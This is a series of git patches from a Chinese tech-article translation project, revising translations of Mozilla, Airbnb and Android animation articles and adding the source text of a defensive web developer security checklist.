diff --git a/TODO/quantum-up-close-what-is-a-browser-engine.md b/TODO/quantum-up-close-what-is-a-browser-engine.md
index a77c6ad6e14..00fb9fc64ba 100644
--- a/TODO/quantum-up-close-what-is-a-browser-engine.md
+++ b/TODO/quantum-up-close-what-is-a-browser-engine.md
@@ -1,6 +1,6 @@
 
 > * 原文地址：[Quantum Up Close: What is a browser engine?](https://hacks.mozilla.org/2017/05/quantum-up-close-what-is-a-browser-engine/)
-> * 原文作者：[Potch](http://potch.me/)
+> * 原文作者：本文已获得原作者 [Potch](http://potch.me/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[吃土小2叉](https://github.com/xunge0613)
 > * 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)、[yzgyyang](https://github.com/yzgyyang)、[薛定谔的猫](https://github.com/Aladdin-ADD)

From e0bfd270cedbfd67b262918a41cddc27e3bc69c6 Mon Sep 17 00:00:00 2001
From: Jiang Chen <git@jiangc.org>
Date: Wed, 17 May 2017 14:42:37 +0800
Subject: [PATCH 481/638] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 1f09c966026..8af306033b3 100644
--- a/README.md
+++ b/README.md
@@ -59,7 +59,7 @@
 
 ## 后端
 
-* [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)[loveky](https://github.com/loveky) 翻译)
+* [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
 * [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
 * [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)

From 3250de194e79bb2b3ba78a085c2b00d5cff1262d Mon Sep 17 00:00:00 2001
From: Glow Chiang <jiangbian66@gmail.com>
Date: Wed, 17 May 2017 00:12:22 -0700
Subject: [PATCH 482/638] =?UTF-8?q?=E7=A7=BB=E9=99=A4=E5=A4=9A=E4=BD=99?=
 =?UTF-8?q?=E5=86=92=E5=8F=B7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 8af306033b3..6f69799f9ec 100644
--- a/README.md
+++ b/README.md
@@ -7,7 +7,7 @@
 
 掘金翻译计划目前翻译完成 [499](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
-# 官方指南：
+# 官方指南
 
 - [**推荐优质英文文章到掘金翻译计划**](https://github.com/xitu/gold-miner/issues/new?title=推荐优秀英文文章&body=-%20原文链接：%0A-%20简要介绍：介绍一下好不好啦，毕竟小编也看不太懂哎_(:з」∠)_)
 - [如何参与翻译](https://github.com/xitu/gold-miner/wiki/如何参与翻译)
@@ -15,7 +15,7 @@
 - [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/译文排版规则指北)
 - [参与翻译所得的积分能做什么?](https://github.com/xitu/gold-miner/wiki/)
 
-# 合作伙伴：
+# 合作伙伴
 
 - [虚位以待]()
 

From 5f46617201c221775f6de7a55787e35dceda744a Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Wed, 17 May 2017 18:54:47 +0800
Subject: [PATCH 483/638] init

---
 TODO/rearchitecting-airbnbs-frontend.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index 0e8e2a0ba06..e1d86d08a0f 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -4,9 +4,10 @@
 > * 译者：
 > * 校对者：
 
-# Rearchitecting Airbnb’s Frontend #
+# Airbnb 的前端重构 #
 
 Overview: We recently rethought the architecture for the JavaScript side of our codebase at Airbnb. This post will look at (1) the product drivers that precipitated the changes, (2) the steps we took to move away from our legacy Rails solutions, and (3) some of the key pillars of the new stack. *Bonus: We’ll talk about what’s next!*
+概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 端的架构。
 
 
 Airbnb sees more than 75 million searches each day, which makes the search page our highest traffic page. For nearly ten years, engineers have evolved, enhanced, and optimized the way that Rails delivers the page.

From 77d3bf9fe1e6e1bce647e4a541c4e90e9b8f0211 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 17 May 2017 21:44:33 +0800
Subject: [PATCH 484/638] Create web-developer-security-checklist.md

---
 TODO/web-developer-security-checklist.md | 101 +++++++++++++++++++++++
 1 file changed, 101 insertions(+)
 create mode 100644 TODO/web-developer-security-checklist.md

diff --git a/TODO/web-developer-security-checklist.md b/TODO/web-developer-security-checklist.md
new file mode 100644
index 00000000000..d312d5b845e
--- /dev/null
+++ b/TODO/web-developer-security-checklist.md
@@ -0,0 +1,101 @@
+> * 原文地址：[Web Developer Security Checklist](https://simplesecurity.sensedeep.com/web-developer-security-checklist-f2e4f43c9c56)
+> * 原文作者：[Michael O'Brien](https://simplesecurity.sensedeep.com/@sensedeep)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+
+# Web Developer Security Checklist #
+
+![](https://cdn-images-1.medium.com/max/800/1*UOl3ydmbG1ehgoSpBxdGFA.jpeg)
+
+Developing secure, robust web applications in the cloud is **hard, very hard**. If you think it is easy, you are either a higher form of life or you have a painful awakening ahead of you.
+
+If you have drunk the [MVP](https://en.wikipedia.org/wiki/Minimum_viable_product) cool-aid and believe that you can create a product in one month that is both valuable and secure — think twice before you launch your “proto-product”. After you review the checklist below, acknowledge that you are skipping many of these critical security issues. At the very minimum, be *honest* with your potential users and let them know that you don’t have a complete product yet and are offering a prototype without full security.
+
+This checklist is simple, and by no means complete. It is a list of some of the more important issues you should consider when creating a web application.
+
+Please comment if you have an item I can add to the list.
+
+### **Database** ###
+
+-  Use encryption for data identifying users and sensitive data like access tokens, email addresses or billing details.
+-  If your database supports low cost encryption at rest (like [AWS Aurora](https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-aurora-now-supports-encryption-at-rest/)), then enable that to secure data on disk. Make sure all backups are stored encrypted as well.
+-  Use minimal privilege for the database access user account. Don’t use the database root account.
+-  Store and distribute secrets using a key store designed for the purpose. Don’t hard code in your applications.
+-  Fully prevent SQL injection by only using SQL prepared statements. For example: if using NPM, don’t use npm-mysql, use npm-mysql2 which supports prepared statements.
+
+### Development ###
+
+-  Ensure that all components of your software are scanned for vulnerabilities for every version pushed to production. This means O/S, libraries and packages. This should be automated into the CI-CD process.
+-  Secure development systems with equal vigilance to what you use for production systems. Build the software from secured, isolated development systems.
+
+### Authentication ###
+
+-  Ensure all passwords are hashed using appropriate crypto such as bcrypt. Never write your own crypto and correctly initialize crypto with good random data.
+-  Implement simple but adequate password rules that encourage users to have long, random passwords.
+-  Use multi-factor authentication for your logins to all your service providers.
+
+### **Denial of Service Protection** ###
+
+-  Make sure that DOS attacks on your APIs won’t cripple your site. At a minimum, have rate limiters on your slower API paths like login and token generation routines.
+-  Enforce sanity limits on the size and structure of user submitted data and requests.
+-  Use [Distributed Denial of Service](https://en.wikipedia.org/wiki/Denial-of-service_attack) (DDOS) mitigation via a global caching proxy service like [CloudFlare](https://www.cloudflare.com/). This can be turned on if you suffer a DDOS attack and otherwise function as your DNS lookup.
+
+### **Web Traffic** ###
+
+-  Use TLS for the entire site, not just login forms and responses. Never use TLS for just the login form.
+-  Cookies must be httpOnly and secure and be scoped by path and domain.
+-  Use [CSP](https://en.wikipedia.org/wiki/Content_Security_Policy) without allowing unsafe-* backdoors. It is a pain to configure, but worthwhile.
+-  Use X-Frame-Option, X-XSS-Protection headers in client responses
+-  Use HSTS responses to force TLS only access. Redirect all HTTP request to HTTPS on the server as backup.
+-  Use CSRF tokens in all forms and use the new [SameSite Cookie](https://scotthelme.co.uk/csrf-is-dead/) response header which fixes CSRF once and for all newer browsers.
+
+### **APIs** ###
+
+-  Ensure that no resources are enumerable in your public APIs.
+-  Ensure that users are fully authenticated and authorized appropriately when using your APIs.
+
+### **Validation** ###
+
+-  Do client-side input validation for quick user feedback, but never trust it.
+-  Validate every last bit of user input using white lists on the server. Never directly inject user content into responses. Never use user input in SQL statements.
+
+### **Cloud Configuration** ###
+
+-  Ensure all services have minimum ports open. While security through obscurity is no protection, using non-standard ports will make it a little bit harder for attackers.
+-  Host backend database and services on private VPCs that are not visible on any public network. Be very careful when configuring AWS security groups and peering VPCs which can inadvertently make services visible to the public.
+-  Isolate logical services in separate VPCs and peer VPCs to provide inter-service communication.
+-  Ensure all services only accept data from a minimal set of IP addresses.
+-  Restrict outgoing IP and port traffic to minimize APTs and “botification”.
+-  Always use AWS IAM roles and not root credentials.
+-  Use minimal access privilege for all ops and developer staff
+-  Regularly rotate passwords and access keys according to a schedule.
+
+### **Infrastructure** ###
+
+-  Ensure you can do upgrades without downtime. Ensure you can quickly update software in a fully automated manner.
+-  Create all infrastructure using a tool such as Terraform, and not via the cloud console. Infrastructure should be defined as “code” and be able to be recreated at the push of a button. Have zero tolerance for any resource created in the cloud by hand — Terraform can then audit your configuration.
+-  Use centralized logging for all services. You should never need SSH to access or retrieve logs.
+-  Don’t SSH into services except for one-off diagnosis. Using SSH regularly, typically means you have not automated an important task.
+-  Don’t keep port 22 open on any AWS service groups on a permanent basis.
+-  Create [immutable hosts](http://chadfowler.com/2013/06/23/immutable-deployments.html) instead of long-lived servers that you patch and upgrade. (See [Immutable Infrastructure Can Be More Secure](https://simplesecurity.sensedeep.com/immutable-infrastructure-can-be-dramatically-more-secure-238f297eca49)).
+-  Use an [Intrusion Detection System](https://en.wikipedia.org/wiki/Intrusion_detection_system) like [SenseDeep](https://www.sensedeep.com/) or service to minimize [APTs](https://en.wikipedia.org/wiki/Advanced_persistent_threat) .
+
+### **Operation** ###
+
+-  Power off unused services and servers. The most secure server is one that is powered down.
+
+### Test ###
+
+-  Audit your design and implementation.
+-  Do penetration testing — hack yourself, but also have someone other than you pen testing as well.
+
+### **Finally, have a plan** ###
+
+-  Have a threat model that describes what you are defending against. It should list and prioritize the possible threats and actors.
+-  Have a practiced security incident plan. One day, you will need it.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From c7f02854e60977d63c8c043e95a152c252ccec6c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 17 May 2017 21:51:17 +0800
Subject: [PATCH 485/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 6f69799f9ec..36cec87b238 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [499](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [500](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -41,10 +41,10 @@
 
 ## 前端
 
+* [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
 * [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
 * [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
-* [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From b67b574670d16d612326ec6f7a1c9d865c5a1dd7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 17 May 2017 21:51:46 +0800
Subject: [PATCH 486/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index 988aa885dda..aef69aab824 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
 * [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
 * [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)

From d389e1c5e6652cd51db4b338714bc6519ff04ee2 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Thu, 18 May 2017 09:58:41 +0800
Subject: [PATCH 487/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...icker-a-colourful-animation-for-android.md | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index b0637d15347..6c0ae34372d 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -8,13 +8,13 @@
 
 我们已经习惯了移动应用丰富的交互方式，如滑动手势去选择、拖拽。但是我们没有察觉到，统一用户的跨平台体验是一个正在发生的趋势。
 
-早期时候，iOS 和 Android 都有其独特的体验，但是在近期，这两个平台上的应用体验和交互在逐渐的靠拢。[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)和分屏的特性已经成为Android Nougat版本的特性，Android 已经和 iOS 已经有了很多相同的地方了。
+早期时候，iOS 和 Android 都有其独特的体验，但是在近期，这两个平台上的应用体验和交互在逐渐的靠拢。[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)和分屏的特性已经成为Android Nougat版本的特性，Android 和 iOS 已经有了很多相同的地方了。
 
 对于设计者而言，设计语言的融合意味着在一个平台上流行的特性可以适配到另一个平台。
 
-最近，为了跟上跨平台风格的步伐，我们使用 Android 动画实现了苹果音乐上的气泡动画。我们设计了一个接口，使得初学者也可以方便的使用，而且也让有经验的开发者觉得有趣。
+最近，为了跟上跨平台风格的步伐，我们受 Apple music 上气泡动画的启发，用 Android 动画实现了一份。我们设计了一个接口，使得初学者也可以方便的使用，而且也让有经验的开发者觉得有趣。
 
-使用 [BubblePicker](https://github.com/igalata/Bubble-Picker)能让一个应用更加的聚焦内容、原创感和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言，但是我们依然决定在此时尝试大胆的颜色和渐变的效果，增加更多的深度和体积的图像。渐变可能是界面显示最主要的视觉效果，也可能会吸引到更多的人使用。
+使用 [BubblePicker](https://github.com/igalata/Bubble-Picker)能让一个应用更加的聚焦内容、原汁原味和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言，但是我们依然决定在此时尝试大胆的颜色和渐变的效果，使得图像增加更多的深度和体积。渐变可能是界面显示最主要的视觉效果，也可能会吸引到更多的人使用。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg)
 
@@ -30,15 +30,15 @@
 
 ### **1. 选择最佳开发工具** ###
 
-我们都清楚，在 Canvas 上执行这么快的动画效率不够高，所以我们决定使用OpenGL (Open Graphics Library)。 OpenGL 是一个提供 2D 或 3D 图形渲染的、跨平台的应用程序接口。幸运的是，Android 支持一些 OpenGL 的版本。
+很明显，在 Canvas 上渲染这样一个快速的动画效果不够高效，所以我们决定使用OpenGL (Open Graphics Library)。 OpenGL 是一个提供 2D 或 3D 图形渲染的、跨平台的应用程序接口。幸运的是，Android 支持一些 OpenGL 的版本。
 
-我们需要让圆更加的自然，就像是汽水中的气泡。有很多物理引擎可用于 Android，但是我们有更特别的需求使得很难选择：这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的，你必须使工程机构适应它们。经过一些研究，我们发现 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎)；因为我们的动画并不支持很多数量的 body（换句话说，它不是为了200+的对象设计的），我们可以使用 Java 端口而不是原生引擎。
+我们需要让圆更加的自然，就像是汽水中的气泡。有很多物理引擎可用于 Android，但我们的特殊需求使得做出选择格外困难：这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的，你必须使项目结构适应它们。经过一些研究，我们发现了 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎)；因为我们的动画并不支持很多数量的 body（换句话说，它不是为了200个或更多的对象设计的），我们可以使用 Java 端口而不是原生引擎。
 
-另外，在本文的后面我们会解释为何选择了 Kotlin 语言编写，我们会谈到它的优势。想要了解 Java 与 Kotlin 更多的区别，请访问[之前的文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。
+另外，在本文的后面我们会解释为何选择了 Kotlin 语言编写，并且谈到这种新语言的优点。想要了解 Java 与 Kotlin 更多的区别，请访问[之前的文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。
 
 ### **2. 创建着色器** ###
 
-在开始的时候，我们需要先理解 OpenGL 中的构建快是三角形，因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状，都包含了一个或多个三角形。为了实现动画，我们为每个 body 使用了两个组合三角形，所以看起来像个正方形，我们可以在里面画圆。
+在开始的时候，我们需要先理解 OpenGL 中的构建块是三角形，因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状，都包含了一个或多个三角形。为了实现动画，我们为每个 body 使用了两个组合三角形，所以看起来像个正方形，我们可以在里面画圆。
 
 渲染一个形状至少需要写两个着色器 - 一个顶点着色器和一个片段着色器。它们的名称已经体现了各自的不同。对每个三角形的每个顶点执行一个顶点着色器，而对三角形中的每个像素大小的部分则执行片段着色器。
 
@@ -96,7 +96,7 @@ u_Move 变量包含了 x 和 y 两个值，用于表示顶点当前位置的移
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2331/content_4.jpg)
 
-a_UV 变量包含了 x 和 y 两个变量，值在 0 和 1 之间，对于每个顶点都不同。在顶点着色器中，我们将值从 a_UV 变量传递给 v_UV 变量，这样每个片段都会被插入 v_UV 变量。结果，形状中心片段的 v_UV 变量的值就是 [0.5, 0.5]。我们使用 distance() 方法来计算一个选中的片段到中心的距离。这个方法使用两点作为参数。
+a_UV 变量包含了 x 和 y 两个变量，这两个值对每个顶点都不同但都在 0 和 1 之间。在顶点着色器中，我们将值从 a_UV 变量传递给 v_UV 变量，这样每个片段都会被插入 v_UV 变量。结果，形状中心片段的 v_UV 变量的值就是 [0.5, 0.5]。我们使用 distance() 方法来计算一个选中的片段到中心的距离。这个方法使用两点作为参数。
 
 ### **3. 使用 smoothstep 方法画抗锯齿圆** ###
 
@@ -110,7 +110,7 @@ a_UV 变量包含了 x 和 y 两个变量，值在 0 和 1 之间，对于每个
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2332/content_6.jpg)
 
-smoothstep 方法可以解决这个问题。基于纹理与背景之间过度的从开始到结束点之间的距离，从 0 到 1 平滑插入。纹理的距离在 0 到 0.49 之间值设为1，0.5 以上的为0，并且0.49 到 0.5 之间会被插入，所以圆的边缘会被抗锯齿。
+smoothstep 方法可以解决这个问题。在纹理和背景间平滑插入由起点和终点决定的值，取值范围在 0 到 1 之间。。纹理的透明度在 0 到 0.49 之间值设为1，0.5 以上的为0，并且0.49 到 0.5 之间会被插入，所以圆的边缘会被抗锯齿。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2333/content_7.jpg)
 
@@ -227,7 +227,7 @@ smoothstep 方法可以解决这个问题。基于纹理与背景之间过度的
 
 每当 World 移动时，我们计算一个合适的力度作用于每个 body，使得看起来像是受到了重力的影响。
 
-### **6. 在 GlSurfaceView 中检测用户触碰** ###
+### **6. 在 GlSurfaceView 中检测用户触摸事件** ###
 
 GLSurfaceView 和其他的 Android view 一样可以对用户触碰反应：
 
@@ -264,7 +264,7 @@ GLSurfaceView 和其他的 Android view 一样可以对用户触碰反应：
     private fun isClick(event: MotionEvent)= Math.abs(event.x - startX) < 20 && Math.abs(event.y - startY) < 20private fun isSwipe(event: MotionEvent)= Math.abs(event.x - previousX) > 20 && Math.abs(event.y - previousY) > 20
 ```
 
-GLSurfaceView 拦截所有的触摸事件，渲染器处理他们：
+GLSurfaceView 拦截所有的触摸事件，渲染器处理它们：
 
 ```
     //Rendererfun swipe(x: Float, y: Float)= Engine.swipe(x.convert(glView.width, scaleX),
@@ -301,13 +301,13 @@ GLSurfaceView 拦截所有的触摸事件，渲染器处理他们：
 
 当我们找到了选中的圆就改变它的半径、密度和纹理。
 
-这是我们第一版 Bubble Picker，而且还将进一步完善。
+这是我们第一版 Bubble Picker，而且还将进一步完善。其他开发者可以自定义泡泡的物理行为，并指定 url 将图片添加到动画中。而且我们还将添加一些新的特性，比如移除泡泡。
 
 请将你们的实验发给我们，让我们看到你是如何使用 Bubble Picker的。如果对动画有任何问题或建议，请告诉我们。
 
-我们会尽快出版更多干活。 敬请关注！
+我们会尽快发布更多干货。 敬请关注！
 
-请检出[BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。
+戳这里进一步查看[BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。
 
 ---
 

From d535ecc7b4e4c246e1822369b5e8f7da5060fc65 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Thu, 18 May 2017 10:28:55 +0800
Subject: [PATCH 488/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...we-created-bubblepicker-a-colourful-animation-for-android.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 6c0ae34372d..965372adc4b 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Irina Galata](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/), [Yuliya Serbenenko](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[hackerkevin](https://github.com/hackerkevin)
-> * 校对者：
+> * 校对者：[luoqiuyu](https://github.com/luoqiuyu) [phxnirvana](https://github.com/phxnirvana)
 
 # 如何创建 BubblePicker – Android 多彩菜单动画 #
 

From fd6fb2a99f3972d8a8d695af3fd72fa1f3d90d35 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 18 May 2017 11:09:33 +0800
Subject: [PATCH 489/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=8E=88=E6=9D=83?=
 =?UTF-8?q?=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index ea7a6c69f3f..05f5f7ea6f4 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -1,5 +1,5 @@
 > * 原文地址：[React at Light Speed](https://blog.vixlet.com/react-at-light-speed-78cd172a6411)
-> * 原文作者：[Jacob Beltran](https://blog.vixlet.com/@jacob_beltran)
+> * 原文作者：本文已获原作者 [Jacob Beltran](https://blog.vixlet.com/@jacob_beltran) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[ZhangFe](https://github.com/ZhangFe)
 > * 校对者：[yzgyyang](https://github.com/yzgyyang),[xunge0613](https://github.com/xunge0613)

From 1e573704aea733b7bd1d56deb1e9ab810f7d1e12 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Thu, 18 May 2017 18:39:51 +0800
Subject: [PATCH 490/638] =?UTF-8?q?=E6=A6=82=E8=A6=81=E9=83=A8=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 26 ++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index e1d86d08a0f..e0009b94df0 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -1,40 +1,40 @@
 > * 原文地址：[Rearchitecting Airbnb’s Frontend](https://medium.com/airbnb-engineering/rearchitecting-airbnbs-frontend-5e213efc24d2)
 > * 原文作者：[Adam Neary](https://medium.com/@AdamRNeary)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[sunui](https://github.com/sunui)
 > * 校对者：
 
 # Airbnb 的前端重构 #
 
-Overview: We recently rethought the architecture for the JavaScript side of our codebase at Airbnb. This post will look at (1) the product drivers that precipitated the changes, (2) the steps we took to move away from our legacy Rails solutions, and (3) some of the key pillars of the new stack. *Bonus: We’ll talk about what’s next!*
-概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 端的架构。
+概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 端的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）摆脱遗留的 Rails 解决方案的一些步骤，（3）一些新技术栈的关键性支柱。彩蛋：我们将讨论接下来要做的事。
 
 
-Airbnb sees more than 75 million searches each day, which makes the search page our highest traffic page. For nearly ten years, engineers have evolved, enhanced, and optimized the way that Rails delivers the page.
+Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们流量最高的页面。近十年来，工程师们一直在发展、加强、和优化 Rails 输出页面的方式。
 
-Recently, we moved into verticals beyond Homes, [introducing Experiences and Places](https://www.airbnb.com/new) . As a part of bringing these new products to web, we took the time to rethink the search experience itself.
+最近，我们转移到了主页以外的垂直页面，[来介绍一些体验和去处](https://www.airbnb.com/new)。作为 web 端新增产品的一部分，我们花时间重新思考了搜索体验本身。
 
